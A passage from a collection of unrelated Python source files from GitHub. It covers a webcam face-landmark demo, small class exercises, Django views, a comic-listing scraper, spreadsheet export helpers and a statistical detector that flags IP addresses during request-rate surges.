sys.path.append(\"D:/GitHub/clandmark/install/share/clandmark/python/\")\nsys.path.append(\"D:/GitHub/clandmark/build_win10/install/share/clandmark/python\")\n\nfrom py_flandmark import PyFlandmark\nfrom py_featurePool import PyFeaturePool\n\n#flandmark = PyFlandmark(\"D:/GitHub/clandmark/matlab_interface/models/FDPM.xml\", False)\nflandmark = PyFlandmark(\"D:/GitHub/clandmark/matlab_interface/models/CDPM.xml\", False)\n\nbw = flandmark.getBaseWindowSize()\nfeaturePool = PyFeaturePool(bw[0], bw[1], None)\nfeaturePool.addFeatuaddSparseLBPfeatures()\n\nflandmark.setFeaturePool(featurePool)\n\nimport time\nimport numpy as np\nimport cv2\n\ndef rgb2gray(rgb):\n\t\"\"\"\n\tconverts rgb array to grey scale variant\n\taccordingly to fomula taken from wiki\n\t(this function is missing in python)\n\t\"\"\"\n\treturn np.dot(rgb[...,:3], [0.299, 0.587, 0.144])\n\ncascPath = \"D:/GitHub/clandmark/data/haarcascade_frontalface_alt.xml\"\nfaceCascade = cv2.CascadeClassifier(cascPath)\n\nvideo_capture = cv2.VideoCapture(2)\n\nwhile True:\n # Capture frame-by-frame\n ret, frame = video_capture.read()\n\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n arr = rgb2gray(frame)\n\n faces = faceCascade.detectMultiScale(\n gray,\n scaleFactor=1.1,\n minNeighbors=5,\n minSize=(30, 30),\n flags=cv2.cv.CV_HAAR_SCALE_IMAGE\n )\n\n # Draw a rectangle around the faces\n for (x, y, w, h) in faces:\n bbox = np.array([x, y, x+w, y+h], dtype=np.int32)\n bbox = bbox.reshape((2,2), order='F')\n start_time = time.time()\n P = flandmark.detect_optimized(arr, bbox)\n print('Elapsed time: {} ms'.format((time.time() - start_time) * 1000))\n for i in range(len(P[0,:])-1):\n cv2.circle(frame, (int(round(P[0,i])), int(round(P[1,i]))), 1, (0, 0, 255), 2)\n cv2.rectangle(frame, (x, y), (x+w, y+h), (0, 255, 0), 2)\n\n # Display the resulting frame\n cv2.imshow('CLandmark - webcam input', frame)\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n# When everything is done, release the capture\nvideo_capture.release()\ncv2.destroyAllWindows()","repo_name":"uricamic/clandmark","sub_path":"python_interface/examples/webcam_input.py","file_name":"webcam_input.py","file_ext":"py","file_size_in_byte":2184,"program_lang":"python","lang":"en","doc_type":"code","stars":199,"dataset":"github-code","pt":"19"} +{"seq_id":"36429578221","text":"from django.core.management.base import BaseCommand\nfrom userprofile.models import UserProfile\nfrom link.tasks import (transform_invites_from_profile,\n transform_invites_from_user)\n\nclass Command(BaseCommand):\n args = ''\n help = u'Send the personal invitation (email/SMS) to all pending invites'\n\n def handle(self, *args, **options):\n self.launch_transform_invite()\n\n def launch_transform_invite(self):\n cnt_p = 0\n cnt_u = 0\n for u in UserProfile.objects.all():\n cnt_p += transform_invites_from_profile(None, u)\n cnt_u += transform_invites_from_user(None, u.user)\n self.stdout.write('''Created %d links from profile (phone number)\nand %d from user (email)'''%(cnt_p, cnt_u))\n","repo_name":"cgranetgithub/woozup-backend","sub_path":"link/management/commands/launch_transform_invite_for_all.py","file_name":"launch_transform_invite_for_all.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"15311066189","text":"\"\"\"\nFirst, let’s start with a class Pet. Each instance of the class will be one electronic pet for the user to take care of. Each instance will have a current state, consisting of three instance variables:\nhunger, an integer\n\nboredom, an integer\n\nsounds, a list of strings, each a word that the pet has been taught to say\n\nIn the __init__ method, hunger and boredom are initialized to random values between 0 and the threshold for being hungry or bored. The sounds instance variable is initialized to be a copy of the class variable with the same name. The reason we make a copy of the list is that we will perform destructive operations (appending new sounds to the list). If we didn’t make a copy, then those destructive operations would affect the list that the class variable points to, and thus teaching a sound to any of the pets would teach it to all instances of the class!\n\nThere is a clock_tick method which just increments the boredom and hunger instance variables, simulating the idea that as time passes, the pet gets more bored and hungry.\n\nThe __str__ method produces a string representation of the pet’s current state, notably whether it is bored or hungry or whether it is happy. It’s bored if the boredom instance variable is larger than the threshold, which is set as a class variable.\n\nTo relieve boredom, the pet owner can either teach the pet a new word, using the teach() method, or interact with the pet, using the hi() method. In response to teach(), the pet adds the new word to its list of words. In response to the hi() method, it prints out one of the words it knows, randomly picking one from its list of known words. Both hi() and teach() cause an invocation of the reduce_boredom() method. It decrements the boredom state by an amount that it reads from the class variable boredom_decrement. The boredom state can never go below 0.\n\ntamagotchi_1(game)\n\"\"\"\nfrom random import randrange\nimport copy\n\nclass Pet:\n \"\"\"\n Describes about the Pet\n \"\"\"\n hunger_decrement =4\n boredom_decrement = 6\n hunger_threshold = 10\n boredom_threshold = 15\n listsounds =[\"Mrrp\"]\n def __init__(self, name):\n \"\"\"\n Initializes the variables\n :param hunger: assigning to hunger\n :param boredom: assinging to boredom\n :param sounds: assinging to sounds\n \"\"\"\n self.name = name\n self.hunger = randrange(self.hunger_threshold)\n self.boredom = randrange(self.boredom_threshold)\n self.sounds = copy.deepcopy(self.listsounds)\n\n def clock_tick(self):\n \"\"\"\n Increments the boredom and hunger as time passes\n :return:\n \"\"\"\n self.hunger +=1\n self.boredom +=1\n\n def mood(self):\n if self.hunger <= self.hunger_threshold and self.boredom <= self.boredom_threshold:\n return \"happy\"\n elif self.hunger >= self.hunger_threshold:\n return \"hungry\"\n else:\n return \"bored\"\n\n def hi(self):\n print(self.sounds[randrange(len(self.sounds))])\n self.reduce_boredom()\n\n def teach(self, word):\n self.sounds.append(word)\n self.reduce_boredom()\n\n def feed(self):\n self.reduce_hunger()\n\n def reduce_boredom(self):\n self.boredom = max(0,self.boredom - self.boredom_decrement)\n\n def reduce_hunger(self):\n self.hunger = max(0,self.hunger - self.hunger_decrement)\n\n def __str__(self):\n state = \" I'm\"+self.name\n state += \"I'feel\"+self.mood()\n return state\n\np1=Pet(\"Fido\")\nprint(p1)\nfor i in range(10):\n p1.clock_tick()\n print(p1)\np1.feed()\np1.hi()\np1.teach(\"Boo\")\nfor i in range(10):\n p1.hi()\nprint(p1)\n\n\n\nclass Cat(Pet):\n \"\"\"\n This is the class which extends the pet class\n \"\"\"\n sounds =['Meow']\n\n def chasing_cats(self):\n \"\"\"This is method\"\"\"\n print('This cat is chasing pinky')\n\ncat1 =Cat('Fluffy')\ncat1.hi()\ncat1.feed()\nprint(cat1)\nprint(cat1.chasing_cats())\n\nclass Chesshire(Cat):\n \"\"\"\n This is the class which extends the Chesshire class\n \"\"\"\n def smile(self):\n \"\"\"\n This explains the how the Chesshire smiles\n :return:\n \"\"\"\n print(\":D :D :D\")\n\nc1 =Chesshire(\"Pumpkin\")\nc1.smile()\nprint(c1)\n\n\nimport sys\n#sys.setexecutionlimit(60000)\n\ndef whichone(animals, pet_name):\n for pet in animals:\n if pet == pet_name:\n return pet\n return None\n\ndef play():\n animals = []\n option = \"\"\n base_prompt =\"\"\"\n Quit\n Adopt \n Greet \n Feed \n teach \n \n \"\"\"\n feedback =\"\"\n while True:\n action = input(feedback+\"\\n\"+base_prompt)\n words = action.split()\n if len(words) >0:\n command =words[0]\n else:\n command = None\n if command =='Quit':\n print('Exiting')\n return\n elif command =='Adopt' and len(words)>0:\n if whichone(animals,words[0]):\n feedback =\"words already exist\"\n else:\n animals.append(words[1])\n elif command == 'Greet' and len(words)>0:\n pet = whichone(animals, words[1])\n if not pet:\n feedback ='Pet does not exist'\n else:\n pet.hi()\n elif command == 'feed' and len(words)>0:\n pet = whichone(animals,words[1])\n if not pet:\n feedback ='Pet does not exist'\n else:\n pet.feed()\n elif command == 'teach' and len(words)>0:\n pet = whichone(animals, words[1])\n if not pet:\n feedback ='Pet does not exist'\n else:\n pet.teach(words[1])\n\n for pet in animals:\n pet.cock_tick()\n\nplay()\n\n\n","repo_name":"gsudarshan1990/PythonClassesCourseEra","sub_path":"Class_Example22_Game.py","file_name":"Class_Example22_Game.py","file_ext":"py","file_size_in_byte":5787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"26553175892","text":"import time\n\n\ndef points(s: str) -> list:\n if s == '':\n return ['']\n\n num = 2**(len(s) - 1)\n ans = []\n\n for i in range(num):\n s1 = ''\n\n for j in range(len(s)):\n s1 += s[j]\n if (i >> j) & 1 == 1:\n s1 += '.'\n ans.append(s1)\n return ans\n\n\ndef points_rek(s: str) -> list:\n if s == '':\n return ['']\n n = len(s)-1\n ans = []\n\n def rek1(i, s1):\n if i < n:\n s1 += s[i]\n i += 1\n if i == n:\n s1 += s[n]\n ans.append(s1)\n return\n\n rek1(i, s1)\n rek2(i, s1)\n\n def rek2(i, s1):\n if i < n:\n s1 += s[i] + '.'\n i += 1\n if i == n:\n s1 += s[n]\n ans.append(s1)\n return\n\n rek1(i, s1)\n rek2(i, s1)\n\n rek1(0, '')\n rek2(0, '')\n\n return ans\n\n\nn = 10\ns = input('')\nprint(points(s))\nprint(points_rek(s))\n\nfull = 0\n\nfor _ in range(n):\n start = time.time()\n points_rek(s)\n end = time.time()\n full += (end - start)\nprint('Average ex. time (recursion) = ', full/n)\nfor _ in range(n):\n start = time.time()\n points(s)\n end = time.time()\n full += (end - start)\nprint('Average ex. time (w/ recursion) = ', full/n)\n","repo_name":"YevheniiIshchenko/lambda_courses","sub_path":"task1_rek.py","file_name":"task1_rek.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"73001718443","text":"#from operator import truediv\nimport pygame\nimport os\nimport random\n\npygame.init()\nwidth_screen = 1200\nheight_screen = 600\n\n\ndisplay_surface = pygame.display.set_mode((width_screen, height_screen)) #display 크기\ntime_clok = pygame.time.Clock() #시간 측정\npygame.display.set_caption(\"Santa run\") #window 이름\n\nWHITE = (255,255,255)\nBLACK = (0,0,0)\n\n\nplayer = pygame.image.load(\"Player.png\")\nplayer = pygame.transform.scale(player, (200, 150))\nplayer_Rect = player.get_rect()\n\nplayer_Rect.centerx = round(0)\nplayer_Rect.centery = round(500)\n\n\n\n\nrunning = True\nwhile running:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n if player_Rect.x > width_screen:\n player_Rect.x = 0 - player_Rect.width\n display_surface.fill(WHITE)\n player_Rect.x += 100\n display_surface.blit(player, player_Rect) \n pygame.display.flip()\n time_clok.tick(3)\n\npygame.quit()\n\n\n","repo_name":"Jae0Kang/Dino_run","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"19170293352","text":"import logging\nfrom typing import List\n\nfrom bs4 import BeautifulSoup as bso\nfrom pydantic import BaseModel\nfrom pydantic import ValidationError\nimport requests\n\nlogger = logging.getLogger(__name__)\n\n\n_HEADERS = {\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\n \"Accept-Language\": \"en-US,en;q=0.9\",\n \"Connection\": \"keep-alive\",\n \"Referer\": \"https://libgen.gs\",\n \"Sec-Fetch-Dest\": \"document\",\n \"Sec-Fetch-Mode\": \"navigate\",\n \"Sec-Fetch-Site\": \"same-origin\",\n \"Sec-Fetch-User\": \"?1\",\n \"Upgrade-Insecure-Requests\": \"1\",\n \"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36\",\n \"sec-ch-ua\": '\"Chromium\";v=\"111\", \"Not(A:Brand\";v=\"8\"',\n \"sec-ch-ua-mobile\": \"?0\",\n \"sec-ch-ua-platform\": '\"Linux\"',\n}\n\n\nclass ComicFile(BaseModel):\n badges: List[str] = []\n title: str\n path: str\n author: str\n publisher: str\n year: str\n language: str\n pages: str\n ext: str\n mirrors: str\n size: str\n issue: str\n\n @property\n def bytes(self):\n try:\n value, mb = [i.strip() for i in self.size.split()]\n except ValueError:\n return 0\n\n if mb != \"MB\":\n return 0\n\n try:\n return int(float(value) * 1024 * 1024)\n except ValueError:\n return 0\n\n\nclass Client:\n def __init__(\n self, base_url=\"https://libgen.gs\", cookies=None, session=None, headers=None\n ):\n self._base_url = base_url\n self._session = session or requests.Session()\n self._session.cookies.update(cookies or {})\n self._session.headers.update(headers or _HEADERS)\n\n def search(\n self, req: str, page=1, res=100, languages=(\"English\",)\n ) -> List[ComicFile]:\n params = {\n \"req\": req,\n \"columns[]\": [\n \"t\",\n \"a\",\n \"s\",\n \"y\",\n \"p\",\n \"i\",\n ],\n \"objects[]\": [\n \"f\",\n \"e\",\n \"s\",\n \"a\",\n \"p\",\n \"w\",\n ],\n \"topics[]\": [\n \"c\",\n ],\n \"res\": res,\n \"showch\": \"on\",\n \"filesuns\": \"all\",\n \"page\": page,\n }\n\n response = self._session.get(f\"{self._base_url}/index.php\", params=params)\n response.raise_for_status()\n\n parsed = _parse_results(response.content, languages)\n return parsed\n\n def download_file(self, url, output):\n response = self._session.get(url, stream=True, allow_redirects=True)\n file_size = int(response.headers.get(\"Content-Length\", 0))\n logger.debug(\"File size of %s: %d\", url, file_size)\n\n response.raise_for_status()\n with open(output, \"wb\") as file:\n file.write(response.content)\n\n\n_COLUMNS = (\n \"first\",\n \"author\",\n \"publisher\",\n \"year\",\n \"language\",\n \"pages\",\n \"size\",\n \"ext\",\n \"mirrors\",\n)\n\n\ndef _parse_results(content, languages):\n soup = bso(content, \"html.parser\")\n trs = soup.select(\"#tablelibgen > tbody > tr\")\n head = soup.select(\"#tablelibgen > thead > tr\")\n try:\n headers = [h.text.replace(\"\\n\", \"\").replace(\"\\r\", \"\") for h in head][0]\n except IndexError:\n logger.info(\"Headers not found in page. Returning nothing.\")\n return []\n\n headers = [h.strip() for h in headers.split(\"↕\")]\n\n files = []\n\n for tr_ in trs:\n try:\n comic_file = _parse_comic_file(tr_)\n except (ValidationError, AttributeError) as error:\n logger.error(f\"Error parsing comic file: {error}\")\n continue\n\n if not comic_file:\n continue\n\n if comic_file.language not in languages:\n continue\n\n files.append(comic_file)\n\n return files\n\n\ndef _parse_comic_file(tr_):\n item = dict()\n for n, td, key in zip(range(0, 9), tr_.select(\"td\"), _COLUMNS):\n if n == 0:\n item.update(_parse_first_td(td))\n elif n == 8:\n item[key] = td.select_one(\"a\").get(\"href\")\n else:\n item[key] = td.text.strip()\n\n if len(item) < 9:\n return None\n\n return ComicFile(**item)\n\n\ndef _parse_first_td(td):\n item = dict()\n item[\"badges\"] = [i.text for i in td.select(\"span\")]\n item[\"issue\"] = \"Unknown\"\n for a_ in td.select(\"a\"):\n issue = a_.find(\"i\")\n if issue is not None:\n text = issue.text.strip()\n if text:\n item[\"issue\"] = text\n break\n\n series = td.select_one(\"a\")\n item[\"path\"] = series.get(\"href\")\n item[\"title\"] = series.text.strip()\n return item\n","repo_name":"vitiko98/libgenmics","sub_path":"libgenmics/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":4847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"16205870385","text":"from django.shortcuts import render, redirect\r\nfrom django.contrib import auth\r\nfrom .models import User\r\nfrom django.core.files.storage import default_storage\r\n\r\n\r\ndef signup(request):\r\n if request.method == 'POST':\r\n if User.objects.filter(username=request.POST.get(\"username\")).exists():\r\n return render(request, \"signup.html\", {\"message\": \"이미 존재하는 회원입니다.\"})\r\n else:\r\n profile_image = request.FILES.get('profile_image')\r\n if profile_image:\r\n file_path = default_storage.save('profile_images/' + profile_image.name, profile_image)\r\n else:\r\n file_path = 'profile_images/person.png'\r\n\r\n user = User.objects.create_user(\r\n username=request.POST['username'],\r\n password=request.POST['password'],\r\n first_name=request.POST['name'][0],\r\n last_name=request.POST['name'][1:],\r\n profile_image=file_path\r\n )\r\n auth.login(request, user)\r\n return redirect('/')\r\n\r\n else:\r\n return render(request, 'account/signup.html')\r\n\r\n\r\ndef profile(request):\r\n user = request.user\r\n recently_viewed_products = user.recently_viewed_products.all()[:5] # 최근 조회한 제품 목록 (상위 5개)\r\n liked_products = user.liked_products.all() # 사용자가 좋아요를 누른 제품들\r\n\r\n context = {\r\n 'user': user,\r\n 'recently_viewed_products': recently_viewed_products,\r\n 'liked_products': liked_products,\r\n }\r\n return render(request, 'account/profile.html', context)\r\ndef user_update(request):\r\n if request.method == \"POST\":\r\n profile_image = request.FILES.get('profile_image')\r\n if profile_image:\r\n file_path = default_storage.save('profile_images/' + profile_image.name, profile_image)\r\n else:\r\n file_path = request.user.profile_image\r\n print(file_path)\r\n user = request.user\r\n user.first_name = request.POST.get(\"name\")[0]\r\n user.last_name = request.POST.get(\"name\")[1:]\r\n user.profile_image = file_path\r\n user.save()\r\n auth.login(request, user)\r\n return redirect(\"/\")\r\n else:\r\n return render(request, \"account/profile.html\")\r\n\r\n\r\ndef user_delete(request):\r\n if request.user.is_authenticated:\r\n request.user.delete()\r\n auth.logout(request)\r\n return redirect(\"/\")\r\n","repo_name":"kimyeonchul/ygmarket","sub_path":"account/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"40692784364","text":"import json\nimport openpyxl\nfrom openpyxl import load_workbook\nimport os\nimport time\n\ndef create_txt(filename):\n\twith open(filename, \"w\") as file:\n\t\tpass\n\tprint(f\"{filename} created.\")\n\n\ndef create_xlsx(filename):\n\tworkbook = openpyxl.Workbook()\n\tworksheet = workbook.active\n\tworksheet.title = \"Sheet1\"\n\tworkbook.save(filename)\n\tprint(f\"{filename} created.\")\n\n\ndef load_txt(filename):\n\twith open(filename, \"r\") as file:\n\t\tdata_json = file.read().strip()\n\t\tdata_dict = json.loads(data_json)\n\treturn data_dict\n\n\ndef export_txt(filename, data):\n\tdata_json = json.dumps(data)\n\twith open(filename, \"w\") as file:\n\t\tfile.write(data_json)\n\t\tprint(f\"{filename} saved.\")\n\t\t\ndef export_item_txt(filename, data):\n\t\n\told_data = load_txt(filename)\n\tdata_dict = [i.__dict__ for i in data]\n\tcombine = data_dict + old_data\n\tcombine_json = json.dumps(combine)\n\n\twith open(filename, \"w\") as file:\n\t\tfile.write(combine_json)\n\t\tprint(f\"{filename} saved.\")\n\ndef export_item_xlsx(name_xlsx, data_txt):\n\t\n\t# set column txt\n\tdata = load_txt(data_txt)\n\tfor i in range(len(data)):\n\t\tdata[i][\"A\"] = data[i].pop(\"id\")\n\t\tdata[i][\"B\"] = data[i].pop(\"name\")\n\t\tdata[i][\"C\"] = data[i].pop(\"price\")\n\tprint(data)\n\t\n\t# save data to xlsx\n\tif not os.path.exists(name_xlsx):\n\t\tprint(f\"creating {name_xlsx} file...\")\n\t\ttime.sleep(1)\n\t\tcreate_xlsx(name_xlsx)\n\t\n\t# set column xlsx\n\tworkbook = load_workbook(filename=name_xlsx)\n\tworksheet = workbook[\"Sheet1\"]\n\tworksheet[\"A1\"] = \"id\"\n\tworksheet[\"B1\"] = \"name\"\n\tworksheet[\"C1\"] = \"price\"\n\t\n\tfor i in data:\n\t\tworksheet.append(i)\n\tworkbook.save(name_xlsx)\n\tprint(f\"{name_xlsx} saved.\")\n\n\ndef export_table_xlsx(name_xlsx, data_txt):\n\tdata = load_txt(data_txt)\n\t# set column txt\n\tfor i in range(len(data)):\n\t\tdata[i][\"A\"] = data[i].pop(\"id\")\n\t\tdata[i][\"B\"] = data[i].pop(\"name\")\n\t\tdata[i][\"C\"] = data[i].pop(\"cost\")\n\t\tdata[i][\"D\"] = data[i].pop(\"start\")\n\t\tdata[i][\"E\"] = data[i].pop(\"end\")\n\t\tdata[i][\"F\"] = data[i].pop(\"a\")\n\t\tdata[i][\"G\"] = data[i].pop(\"b\")\n\t\tdata[i][\"H\"] = data[i].pop(\"hour\")\n\t\tdata[i][\"I\"] = data[i].pop(\"item\")\n\t\tdata[i][\"J\"] = data[i].pop(\"total_cost\")\n\t\tdata[i][\"K\"] = data[i].pop(\"is_active\")\n\t\n\t# save data to xlsx\n\tif not os.path.exists(name_xlsx):\n\t\ttime.sleep(1)\n\t\tcreate_xlsx(name_xlsx)\n\t\tprint(f\"creating {name_xlsx} file...\")\n\t\n\t# set column xlsx\n\tworkbook = load_workbook(filename=name_xlsx)\n\tworksheet = workbook[\"Sheet1\"]\n\tworksheet[\"A1\"] = \"id\"\n\tworksheet[\"B1\"] = \"name\"\n\tworksheet[\"C1\"] = \"cost\"\n\tworksheet[\"D1\"] = \"start\"\n\tworksheet[\"E1\"] = \"end\"\n\tworksheet[\"F1\"] = \"a\"\n\tworksheet[\"G1\"] = \"b\"\n\tworksheet[\"H1\"] = \"hour\"\n\tworksheet[\"I1\"] = \"item\"\n\tworksheet[\"J1\"] = \"total_cost\"\n\tworksheet[\"K1\"] = \"is_active\"\n\t\n\t# append data from txt to xlsx\n\tfor i in data:\n\t\tworksheet.append(i)\n\tworkbook.save(name_xlsx)\n\tprint(f\"{name_xlsx} saved.\")\n\n\t\n\n\n\n","repo_name":"Harry-xdev/sales-management-software","sub_path":"export.py","file_name":"export.py","file_ext":"py","file_size_in_byte":2780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"2787623242","text":"\"\"\"\nThe purpose of this app is to demonstrate that Panel works with the tools you know and love\n❤️, including ipysheet.\n\"\"\"\nimport ipysheet\nimport panel as pn\n\nfrom awesome_panel import config\n\nconfig.extension(\"ipywidgets\", url=\"lib_ipysheet\")\n\nACCENT = config.ACCENT\n\n\ndef get_component(accent_base_color=ACCENT):\n \"\"\"Returns an ipysheet app\"\"\"\n slider = pn.widgets.FloatSlider(value=10, start=0, end=100)\n sheet = ipysheet.sheet()\n\n ipysheet.cell(1, 1, \"Input\")\n cell3 = ipysheet.cell(1, 2, 42.0)\n ipysheet.cell(2, 1, \"Output\")\n cell_sum = ipysheet.cell(2, 2, 52.0, read_only=True, background_color=accent_base_color)\n\n @pn.depends(slider, cell3, watch=True)\n def calculate(value1, value2):\n cell_sum.value = value1 + value2\n\n return pn.Column(slider, sheet)\n\n\ncomponent = get_component()\npn.panel(component, height=700, sizing_mode=\"stretch_both\").servable()\n","repo_name":"awesome-panel/awesome-panel","sub_path":"examples/lib_ipysheet.py","file_name":"lib_ipysheet.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":311,"dataset":"github-code","pt":"19"} +{"seq_id":"30909434595","text":"import math\r\n\r\nclass Pane:\r\n '''\r\n This class represents a time period. Its contains a dictionary of IP addresses\r\n and acumulators for the number of requests each one makes. As the program reads logs,\r\n the IP addresses encountered in a time period are stored in this object. Each time a new\r\n IP is encountered it is added to the list. If a previously encoutered IP is read, its request\r\n counter is incremented.\r\n\r\n It also contains a method for computing the mean and standard deviation of the number\r\n of requests per IP stored in the Pane.\r\n '''\r\n\r\n\r\n def __init__(self, timestamp):\r\n\r\n self.timestamp = timestamp\r\n self.ip_list = dict()\r\n self.n_requests = 0\r\n\r\n def update(self, ip):\r\n '''\r\n Update the IP address list with incoming IP. If not in list,\r\n will be added. If is in list, its counter is incremented.\r\n The total number of requests is incremented.\r\n '''\r\n\r\n if ip not in self.ip_list:\r\n self.ip_list[ip] = 1\r\n else:\r\n self.ip_list[ip] += 1\r\n\r\n self.n_requests += 1\r\n\r\n def ip_stats(self):\r\n '''\r\n Compute the mean and standard deviation of the number of requests\r\n per IP address in this Pane.\r\n '''\r\n\r\n numer, denom, sd_temp = 0, 0, 0\r\n\r\n # Compute mean.\r\n for k, v in self.ip_list.items():\r\n numer += v\r\n denom += 1\r\n mean = numer / denom\r\n\r\n # Compute standard deviation.\r\n for k, v in self.ip_list.items(): sd_temp += (mean - v)**2\r\n sd = math.sqrt(sd_temp)\r\n\r\n return mean, sd\r\n\r\n\r\n\r\nclass Window:\r\n\r\n '''\r\n This class stores sequence of Panes representing a time window. This class\r\n contains methods for shifting the Window with the addition of a new Pane.\r\n It also contains a method for computing the mean and standard deviation of\r\n the number of requests in each Pane.\r\n '''\r\n\r\n\r\n def __init__(self, window_length):\r\n\r\n self.window_length = window_length\r\n self.panes = []\r\n self.ave_requests = 0\r\n self.sd_requests = 0\r\n\r\n def __len__(self):\r\n return len(self.panes)\r\n\r\n def __contains__(self, timestamp):\r\n for p in self.panes:\r\n if p.timestamp == timestamp:\r\n return True\r\n\r\n return False\r\n\r\n def shift_window(self, new_pane):\r\n '''\r\n Shifts window by adding new Pane to the end of current window and dropping\r\n the oldest Pane if the length of the current window is equal to the maximum\r\n window length. Otherwise, the new Pane is simply added.\r\n '''\r\n assert isinstance(new_pane, Pane)\r\n\r\n if self.__len__() < self.window_length:\r\n self.panes.append(new_pane)\r\n else:\r\n try:\r\n self.panes.pop(0)\r\n except IndexError:\r\n pass\r\n finally:\r\n self.panes.append(new_pane)\r\n\r\n def get_request_stats(self):\r\n '''\r\n Computes and returns mean and standard deviation of the number of\r\n requests per Pane (timestamp) in the Window.\r\n '''\r\n\r\n numer, sd_temp = 0, 0\r\n\r\n # Compute mean\r\n for p in self.panes: numer += p.n_requests\r\n self.ave_requests = numer / self.__len__()\r\n\r\n # Compute standard deviation\r\n for p in self.panes: sd_temp += (self.ave_requests - p.n_requests)**2\r\n self.sd_requests = math.sqrt(sd_temp)\r\n\r\n return self.ave_requests, self.sd_requests\r\n\r\n\r\n\r\nclass AttackDetector:\r\n\r\n '''\r\n AttackDetector class holds a Window of previous time periods and handles the logic\r\n for processing incoming data and updating the Panes and the Windows and detecting a\r\n surge in traffic.\r\n\r\n The class works by keeping a Window of Panes representing a user-defined number of\r\n previous time periods before the current one. A Pane representing the current time\r\n period is kept separately and info about incoming log records are stored in this Pane.\r\n When a new time period is encountered, the Window is updated with the Pane. The a new Pane\r\n is created for the current timestamp.\r\n\r\n Once the new timestamp is encountered, the attack detection method is run on the current\r\n timestamp that is about to be added to the Window. This assumes data are in chronological\r\n order.\r\n '''\r\n\r\n def __init__(self, window_length, log_path):\r\n\r\n self.window = Window(window_length)\r\n\r\n self.current_pane = None\r\n self.current_timestamp = None\r\n\r\n self.log_path = log_path\r\n\r\n # attack status\r\n self.status = False\r\n\r\n self.normal_request_stats = None\r\n self.normal_ip_stats = None\r\n\r\n\r\n def process_data(self, ip, timestamp):\r\n '''\r\n Processes a log record. Takes the IP address and the timestamp.\r\n '''\r\n # Create current pane if does not exist already. This logic will only be run the first time data\r\n # is processed.\r\n if self.current_pane is None:\r\n self.current_timestamp, self.current_pane = timestamp, Pane(timestamp)\r\n\r\n if timestamp != self.current_timestamp:\r\n # Once a new timestamp is encountered, scan for attack on the previous\r\n # timestamp and then add it to the window, updating the current timestamp\r\n # to be the newly encountered timestamp.\r\n\r\n if timestamp not in self.window:\r\n\r\n # must have at least two panes in window before attack scanning\r\n if len(self.window) > 1: self.scan_for_attack() # scan for attack\r\n\r\n print(\"Timestamp: %s, Number of requests: %s, Attack: %s\" % (self.current_timestamp, self.current_pane.n_requests, self.status))\r\n\r\n self.window.shift_window(self.current_pane) # shift window\r\n self.current_timestamp, self.current_pane = timestamp, Pane(timestamp) # update current timestamp and add new pane\r\n\r\n else:\r\n self.current_pane.update(ip) # update current Pane with new IP request information\r\n\r\n\r\n\r\n\r\n def check_ip_stats(self):\r\n '''\r\n Check the number of requests each IP address in the current Pane is making and\r\n compare these to average of the last normal period of activity. If IP address is found that is\r\n making > 2 SD requests above normal then return True, otherwise return False.\r\n '''\r\n\r\n # indicator for if number of requests in current Pane is > 2 SD's away\r\n # from the mean of the Window average.\r\n #ip_status = False\r\n\r\n\r\n if self.status:\r\n # If currently under attack, compare IP statistics to normal_ip_stats.\r\n for ip, v in self.current_pane.ip_list.items():\r\n if v > self.normal_ip_stats[0] + 2*self.normal_ip_stats[1]:\r\n return True\r\n\r\n else:\r\n # If not currently under attack, set normal_ip_stats to IP statistics of the previous Pane.\r\n # The compare the number of requests for the IPs in the current Pane to these.\r\n self.normal_ip_stats = self.window.panes[-1].ip_stats()\r\n\r\n for ip, v in self.current_pane.ip_list.items():\r\n if v > self.normal_ip_stats[0] + 2*self.normal_ip_stats[1]:\r\n return True\r\n\r\n return False\r\n\r\n\r\n def write_ips_to_logs(self):\r\n ''' Write IP addresses that number of requests > 2 SD's above normal levels to file.'''\r\n\r\n for ip, v in self.current_pane.ip_list.items():\r\n if v > self.normal_ip_stats[0] + 2*self.normal_ip_stats[1]:\r\n with open(self.log_path, 'a+') as log:\r\n log.write('{}\\n'.format(ip))\r\n\r\n\r\n\r\n def scan_for_attack(self):\r\n '''\r\n Checks if the number of requests in the current Pane is greater than 2 SD's above the mean\r\n of the number of requests in the Window. Also check the number of requests per IP address\r\n in the current Pane and if is > 2 SD above the average of the previous Pane. If both conditions\r\n are true, market as attack and write suspected IPs to log.\r\n '''\r\n\r\n if self.status:\r\n # If already under attack, compare to number of requests to normal levels.\r\n if self.current_pane.n_requests > self.normal_stats[0] + 2*self.normal_stats[1] and self.check_ip_stats():\r\n self.write_ips_to_logs()\r\n else:\r\n self.status = False\r\n else:\r\n # If not under attack, compare to number of requests in the Window.\r\n # If if attack detected, update status and save the Window statistics for\r\n # future comparison in normal_stats\r\n\r\n # Get the average and SD of the number of requests over the Window.\r\n ave, sd = self.window.get_request_stats()\r\n\r\n if self.current_pane.n_requests > ave + 2*sd and self.check_ip_stats():\r\n self.status = True\r\n self.normal_stats = (ave, sd)\r\n 